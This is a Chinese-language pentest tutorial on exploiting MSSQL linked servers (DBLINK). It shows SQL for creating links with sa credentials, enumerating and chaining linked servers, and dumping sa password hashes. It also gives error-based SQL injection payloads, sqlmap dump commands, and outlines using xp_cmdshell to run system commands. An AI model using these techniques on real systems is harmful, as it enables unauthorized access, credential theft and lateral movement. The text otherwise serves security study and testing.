MSSQL数据库之DBLINK
DBLINK,翻译为中文是**数据库链接**,如同字面意思一样,就是数据库本身链接了其他的数据库,又名链接服务器,而这一配置,在MSSQL数据库中比较常见,且如果目标配置了DBLINK,则更加的有利于我们的工作。
实际工作中,可能遇到以下的利用情况:
通过SQL注入,然后创建LINK,使用LINK等;
链接上数据库,然后再创建LINK,使用LINK等;
当然,创建LINK需要其余需要链接到的目标数据库的账号信息,所以多数情况下都是使用现成的LINK。
DBLINK能带来什么
在拿到一个数据库的账号密码后,存在两种情况,一种是低权,一种是高权,高权限在特定条件下的注入以及能够连接到数据库的情况下均能实现RCE操作。
若是当前拿下的数据库权限比较低,但是该数据上面存在DBLINK的情况下,那么就额外多了一种可能,DBLINK的那台数据库是高权限,这种情况下,虽然本身拿下的数据库是低权限无法执行命令,但是DBLINK那台数据库是高权限,所以我们就能执行命令,从而进入目标网络。
若是本身数据库已经是高权限,且DBLINK那台数据库也是高权限,那么我们就能接管两台数据库。
说那么多,其实也是看最终权限的,就算权限不够,也能查询其他数据库的数据不是。
除此之外,还可以开启套娃模式,比如:通过A数据库LINK到B数据库,然后B数据库LINK到C、D、E数据库,然后C、D、E数据库又LINK到其他数据库等等。这样的话,我们从最开始的一台A数据库,到最后就获得了好几台数据库。
如何利用DBLINK
至于创建DBLINK,若是条件都具备的情况下,可以使用如下语句创建DBLINK,进而使用DBLINK:
EXEC master.dbo.sp_addlinkedserver @server = '192.168.11.10', @srvproduct='SQL Server';
EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname='192.168.11.10',@useself='False',@locallogin=NULL,@rmtuser='sa',@rmtpassword='Test123';
创建完后示意:
这里利用考虑权限的问题,若是高权限,则直接开启xp_cmdshell存储过程,然后再执行命令,若是地权限的话,则只能查询数据操作。
查询LINK信息
通过查询该数据库的信息,从而判断目标数据库是否有链接服务器。
select name from sys.servers;
该语句,若是结果只有一条,则返回的是数据库本身的名称,并不是DBLINK的链接服务器。
若是返回结果中大于一条,则可以判断其余的链接服务器是否是本身,不是本身的话则可以直接调用链接服务器执行自定义的SQL语句。
方式1
exec [LINK-Server-Name].master.dbo.sp_executesql N'select name from sys.servers';
该方式本地测试能行,但是如果单引号里面的语句包含了单引号,则里面的单引号需要用单引号转义,即:
exec [DESKTOP-FGVGO9R].master.dbo.sp_executesql N'select name,password_hash from sys.sql_logins where name =''sa'''
-- where name = 'sa' 这里单引号需要使用单引号转义,所以就需要两个单引号,注意不是双引号
-- 套娃模式:
exec [A-Server].master.dbo.sp_executesql N'exec [B-Server].master.dbo.sp_executesql N''select name from sys.servers'''
-- 若是B-Server下面还有链接服务器,那么B-Server后面还可以继续套娃,注意单引号记得转义就成。
方式2
-- 先开启Data Access ,只需要执行一次即可
EXEC sp_serveroption 'DESKTOP-FGVGO9R', 'data access', 'on';
-- 然后再执行语句
SELECT * FROM OPENQUERY([DESKTOP-FGVGO9R], 'select name from sys.servers');
-- 还是注意单引号里面的语句若是包含单引号的话,记得转义。
-- 套娃方式:
SELECT FROM OPENQUERY([A-Server], 'SELECT FROM OPENQUERY([B-Server], ''select name from sys.servers'')')
注意事项
实际操作过程中,可能会遇到错误,某些环境下,需要对方服务器开启远程过程调用(RPC)才能够执行成功。或者说对方服务器的其他设置限制了LINK的使用,需要多加测试。
在SQL注入中使用
如果一个注入点满足数据库类型为mssql,注入类型为堆叠的情况下,可以尝试查询该注入点是否配置了dblink。
如果注入类型只存在堆叠,不存在其他辅助注入类型的情况下,通过手工方式获取link的名字有点麻烦,而且也慢,语句也得需要自己根据情况来定义。
之前刚接触的时候我是通过sqlmap的--sql-shell命令进行sql查询模式进行查询;
select name from master.sys.servers
如果注入类型较多的情况下,使用sql-shell进入sql查询模式输入该语句可能能够查询出link的名称信息,但是我多数情况下都没有成功过(没成功的原因是语句里面没有输入完整的表名,即:master.sys.servers)。
如果存在报错注入的情况下,可以通过报错注入将dblink的名称通过报错的形式注出来,下面为一个举例的语句:
# 获取第一个link的名称
http://x.x.x./search.aspx?key=123' and 1=convert(int,(select top 1 name from sys.servers))--
# 获取后续link的名称
123' and 1=convert(int,(select top 1 name from sys.server where name not in ('xx1','xx2')))--
# 上面条语句的意思为查询一个name,并且name不为xx1,xx2,反正就是以此类推,直到把所有link查询出来为止。
将所有的link都查询出来后,就可以尝试使用上面的几种方式测试link是否可用,反正语句模板大概就是那个样子,自己想执行什么语句就自行定义,一般流程是判断link是不是管理员权限,然后判断link是否开启了xp_cmdshell存储过程,然后再执行系统命令。不固定,反正看个人需求。
如果自己不像手动获取link的名称,可以使用sqlmap来自动获取link的名称信息,然后在利用获取到的名称去调用相关功能。
sqlmap -u http:/x.x.x.x/search.aspx?key=123* -D master -T sys.servers -C name --dump
sqlmap通过指定数据库、表以及列信息将dblink的名称导出,当然,仅限于用来导出link的名称,无法执行link的语句信息,这种情况在任何注入类型下都可以适用。
总之,思路不经局限于此,但是过程中可能会遇到很多坑,那就需要自己多学习进行解决。
总结
DBLINK有时候确实会带来意想不到的收获,而且多数测试的时候,经常忘记检查这一配置,导致遗漏了很多东西。
还有就是DBLINK不仅可以创建同类型的MSSQL数据库链接,还可以创建其他类型如:Orace、Mysql、PostgreSQL等数据库的链接。但是具体取决于目标数据库是否安装了支持的数据源程序。
若是SQL注入存在堆叠注入类型的情况下,看看是否有DBLINK也不失为一种好的方法。
--> 2023.3.19 更新